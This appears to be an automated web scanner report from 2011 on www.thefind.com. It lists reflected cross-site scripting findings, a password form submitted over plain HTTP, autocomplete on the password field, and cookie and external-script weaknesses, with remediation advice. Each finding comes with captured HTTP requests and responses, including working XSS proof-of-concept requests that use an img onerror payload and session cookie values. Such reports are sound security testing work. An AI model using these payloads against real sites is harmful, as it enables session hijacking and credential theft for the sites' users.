Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload a9ba8<img%20src%3da%20onerror%3dalert(1)>552fa5479a7 was submitted in the REST URL parameter 1. This input was echoed as a9ba8<img src=a onerror=alert(1)>552fa5479a7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /aa9ba8<img%20src%3da%20onerror%3dalert(1)>552fa5479a7 HTTP/1.1 Host: www.thefind.com Proxy-Connection: keep-alive Referer: http://www.thefind.com/6eeb6%3Cimg%20src%3da%20onerror%3dalert(1)%3E90aa42e9ff8 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: fl-uid=1ec82cf50734315967b85fc8398482ad%2C1%2C1299459342; __qca=P0-486391256-1299459383931; __utmz=1.1299459384.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.897036025.1299459384.1299459384.1299459384.1
Response
HTTP/1.1 200 OK Date: Tue, 08 Mar 2011 01:08:24 GMT Server: Apache Set-Cookie: flsid=666f8051341dc24bd01aa7a872c149ef; path=/ Expires: Tue, 23 Feb 1999 18:30:00 GMT Cache-Control: must-revalidate, no-cache, no-store, private, s-maxage=0, pre-check=0, post-check=0, max-age=0 Last-Modified: Tue, 22 Feb 2011 23:26:04 GMT Set-Cookie: fl-uid=1ec82cf50734315967b85fc8398482ad%2C1%2C1299546504; expires=Wed, 07-Mar-2012 01:08:24 GMT; path=/; domain=.thefind.com Content-Language: en Vary: User-Agent,Accept-Encoding Status: 200 OK X-Content-Encoded-By: class.Conteg.0.13 Content-Type: text/html; charset=utf-8 Content-Length: 26149
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 6eeb6<img%20src%3da%20onerror%3dalert(1)>90aa42e9ff8 was submitted in the REST URL parameter 1. This input was echoed as 6eeb6<img src=a onerror=alert(1)>90aa42e9ff8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /6eeb6<img%20src%3da%20onerror%3dalert(1)>90aa42e9ff8 HTTP/1.1 Host: www.thefind.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: flsid=137df1d3906e54ccd75190de4fa527e5; fl-uid=1ec82cf50734315967b85fc8398482ad%2C1%2C1299459342; __qca=P0-486391256-1299459383931; __utmz=1.1299459384.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmv=; __utma=1.897036025.1299459384.1299459384.1299459384.1; __utmc=1; __utmb=1.1.10.1299459384
Response
HTTP/1.1 200 OK Date: Mon, 07 Mar 2011 00:56:25 GMT Server: Apache Expires: Tue, 23 Feb 1999 18:30:00 GMT Cache-Control: must-revalidate, no-cache, no-store, private, s-maxage=0, pre-check=0, post-check=0, max-age=0 Last-Modified: Tue, 22 Feb 2011 23:26:04 GMT Content-Language: en Vary: User-Agent,Accept-Encoding Status: 200 OK X-Content-Encoded-By: class.Conteg.0.13 Content-Type: text/html; charset=utf-8 Content-Length: 26148
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload b414c<img%20src%3da%20onerror%3dalert(1)>6d765053c85 was submitted in the REST URL parameter 1. This input was echoed as b414c<img src=a onerror=alert(1)>6d765053c85 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /userb414c<img%20src%3da%20onerror%3dalert(1)>6d765053c85/login HTTP/1.1 Host: www.thefind.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fl-uid=1ec82cf50734315967b85fc8398482ad%2C1%2C1299459342; __utmv=; __utmz=1.1299459384.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); flsid=137df1d3906e54ccd75190de4fa527e5; __utma=1.897036025.1299459384.1299459384.1299459384.1; __utmc=1; __utmb=1.1.10.1299459384; __qca=P0-486391256-1299459383931;
Response
HTTP/1.1 200 OK Date: Mon, 07 Mar 2011 18:12:10 GMT Server: Apache Expires: Tue, 23 Feb 1999 18:30:00 GMT Cache-Control: must-revalidate, no-cache, no-store, private, s-maxage=0, pre-check=0, post-check=0, max-age=0 Last-Modified: Tue, 22 Feb 2011 23:26:04 GMT Content-Language: en Vary: Accept-Encoding Status: 200 OK Content-Length: 26158 Connection: close Content-Type: text/html; charset=utf-8
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload bbfb5<img%20src%3da%20onerror%3dalert(1)>c5892e874ac was submitted in the REST URL parameter 2. This input was echoed as bbfb5<img src=a onerror=alert(1)>c5892e874ac in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /user/loginbbfb5<img%20src%3da%20onerror%3dalert(1)>c5892e874ac HTTP/1.1 Host: www.thefind.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fl-uid=1ec82cf50734315967b85fc8398482ad%2C1%2C1299459342; __utmv=; __utmz=1.1299459384.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); flsid=137df1d3906e54ccd75190de4fa527e5; __utma=1.897036025.1299459384.1299459384.1299459384.1; __utmc=1; __utmb=1.1.10.1299459384; __qca=P0-486391256-1299459383931;
Response
HTTP/1.1 200 OK Date: Mon, 07 Mar 2011 18:12:12 GMT Server: Apache Expires: Tue, 23 Feb 1999 18:30:00 GMT Cache-Control: must-revalidate, no-cache, no-store, private, s-maxage=0, pre-check=0, post-check=0, max-age=0 Last-Modified: Tue, 22 Feb 2011 23:26:04 GMT Content-Language: en Vary: Accept-Encoding Status: 200 OK Content-Length: 26158 Connection: close Content-Type: text/html; charset=utf-8
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://www.thefind.com/user
The form contains the following password field:
user[password]
Issue background
Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defense and monitor the traffic passing through switches.
Issue remediation
The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.
Request
GET /user/login HTTP/1.1 Host: www.thefind.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fl-uid=1ec82cf50734315967b85fc8398482ad%2C1%2C1299459342; __utmv=; __utmz=1.1299459384.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); flsid=137df1d3906e54ccd75190de4fa527e5; __utma=1.897036025.1299459384.1299459384.1299459384.1; __utmc=1; __utmb=1.1.10.1299459384; __qca=P0-486391256-1299459383931;
Response
HTTP/1.1 200 OK Date: Mon, 07 Mar 2011 18:11:32 GMT Server: Apache Expires: Tue, 23 Feb 1999 18:30:00 GMT Cache-Control: must-revalidate, no-cache, no-store, private, s-maxage=0, pre-check=0, post-check=0, max-age=0 Last-Modified: Tue, 22 Feb 2011 23:26:04 GMT Content-Language: en Vary: Accept-Encoding Status: 200 OK Content-Length: 27799 Connection: close Content-Type: text/html; charset=utf-8
3. Password field with autocomplete enabledpreviousnext
Summary
Severity:
Low
Confidence:
Certain
Host:
http://www.thefind.com
Path:
/user/login
Issue detail
The page contains a form with the following action URL:
http://www.thefind.com/user
The form contains the following password field with autocomplete enabled:
user[password]
Issue background
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
Request
GET /user/login HTTP/1.1 Host: www.thefind.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fl-uid=1ec82cf50734315967b85fc8398482ad%2C1%2C1299459342; __utmv=; __utmz=1.1299459384.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); flsid=137df1d3906e54ccd75190de4fa527e5; __utma=1.897036025.1299459384.1299459384.1299459384.1; __utmc=1; __utmb=1.1.10.1299459384; __qca=P0-486391256-1299459383931;
Response
HTTP/1.1 200 OK Date: Mon, 07 Mar 2011 18:11:32 GMT Server: Apache Expires: Tue, 23 Feb 1999 18:30:00 GMT Cache-Control: must-revalidate, no-cache, no-store, private, s-maxage=0, pre-check=0, post-check=0, max-age=0 Last-Modified: Tue, 22 Feb 2011 23:26:04 GMT Content-Language: en Vary: Accept-Encoding Status: 200 OK Content-Length: 27799 Connection: close Content-Type: text/html; charset=utf-8
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.thefind.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 07 Mar 2011 00:55:42 GMT Server: Apache Set-Cookie: flsid=137df1d3906e54ccd75190de4fa527e5; path=/ Expires: Tue, 23 Feb 1999 18:30:00 GMT Cache-Control: must-revalidate, no-cache, no-store, private, s-maxage=0, pre-check=0, post-check=0, max-age=0 Last-Modified: Tue, 22 Feb 2011 23:26:04 GMT Set-Cookie: fl-uid=1ec82cf50734315967b85fc8398482ad%2C1%2C1299459342; expires=Tue, 06-Mar-2012 00:55:42 GMT; path=/; domain=.thefind.com Content-Language: en Vary: User-Agent,Accept-Encoding Status: 200 OK X-Content-Encoded-By: class.Conteg.0.13 Content-Type: text/html; charset=utf-8 Content-Length: 76950
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /a HTTP/1.1 Host: www.thefind.com Proxy-Connection: keep-alive Referer: http://www.thefind.com/6eeb6%3Cimg%20src%3da%20onerror%3dalert(1)%3E90aa42e9ff8 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: fl-uid=1ec82cf50734315967b85fc8398482ad%2C1%2C1299459342; __qca=P0-486391256-1299459383931; __utmz=1.1299459384.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.897036025.1299459384.1299459384.1299459384.1
Response
HTTP/1.1 200 OK Date: Tue, 08 Mar 2011 01:06:42 GMT Server: Apache Set-Cookie: flsid=734dc00755eadca4158da2490dfbd672; path=/ Expires: Tue, 23 Feb 1999 18:30:00 GMT Cache-Control: must-revalidate, no-cache, no-store, private, s-maxage=0, pre-check=0, post-check=0, max-age=0 Last-Modified: Tue, 22 Feb 2011 23:26:04 GMT Set-Cookie: fl-uid=1ec82cf50734315967b85fc8398482ad%2C1%2C1299546402; expires=Wed, 07-Mar-2012 01:06:42 GMT; path=/; domain=.thefind.com Content-Language: en Vary: User-Agent,Accept-Encoding Status: 200 OK X-Content-Encoded-By: class.Conteg.0.13 Content-Type: text/html; charset=utf-8 Content-Length: 26105
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET / HTTP/1.1 Host: www.thefind.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 07 Mar 2011 00:55:42 GMT Server: Apache Set-Cookie: flsid=137df1d3906e54ccd75190de4fa527e5; path=/ Expires: Tue, 23 Feb 1999 18:30:00 GMT Cache-Control: must-revalidate, no-cache, no-store, private, s-maxage=0, pre-check=0, post-check=0, max-age=0 Last-Modified: Tue, 22 Feb 2011 23:26:04 GMT Set-Cookie: fl-uid=1ec82cf50734315967b85fc8398482ad%2C1%2C1299459342; expires=Tue, 06-Mar-2012 00:55:42 GMT; path=/; domain=.thefind.com Content-Language: en Vary: User-Agent,Accept-Encoding Status: 200 OK X-Content-Encoded-By: class.Conteg.0.13 Content-Type: text/html; charset=utf-8 Content-Length: 76950
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /a HTTP/1.1 Host: www.thefind.com Proxy-Connection: keep-alive Referer: http://www.thefind.com/6eeb6%3Cimg%20src%3da%20onerror%3dalert(1)%3E90aa42e9ff8 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.107 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: fl-uid=1ec82cf50734315967b85fc8398482ad%2C1%2C1299459342; __qca=P0-486391256-1299459383931; __utmz=1.1299459384.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=1.897036025.1299459384.1299459384.1299459384.1
Response
HTTP/1.1 200 OK Date: Tue, 08 Mar 2011 01:06:42 GMT Server: Apache Set-Cookie: flsid=734dc00755eadca4158da2490dfbd672; path=/ Expires: Tue, 23 Feb 1999 18:30:00 GMT Cache-Control: must-revalidate, no-cache, no-store, private, s-maxage=0, pre-check=0, post-check=0, max-age=0 Last-Modified: Tue, 22 Feb 2011 23:26:04 GMT Set-Cookie: fl-uid=1ec82cf50734315967b85fc8398482ad%2C1%2C1299546402; expires=Wed, 07-Mar-2012 01:06:42 GMT; path=/; domain=.thefind.com Content-Language: en Vary: User-Agent,Accept-Encoding Status: 200 OK X-Content-Encoded-By: class.Conteg.0.13 Content-Type: text/html; charset=utf-8 Content-Length: 26105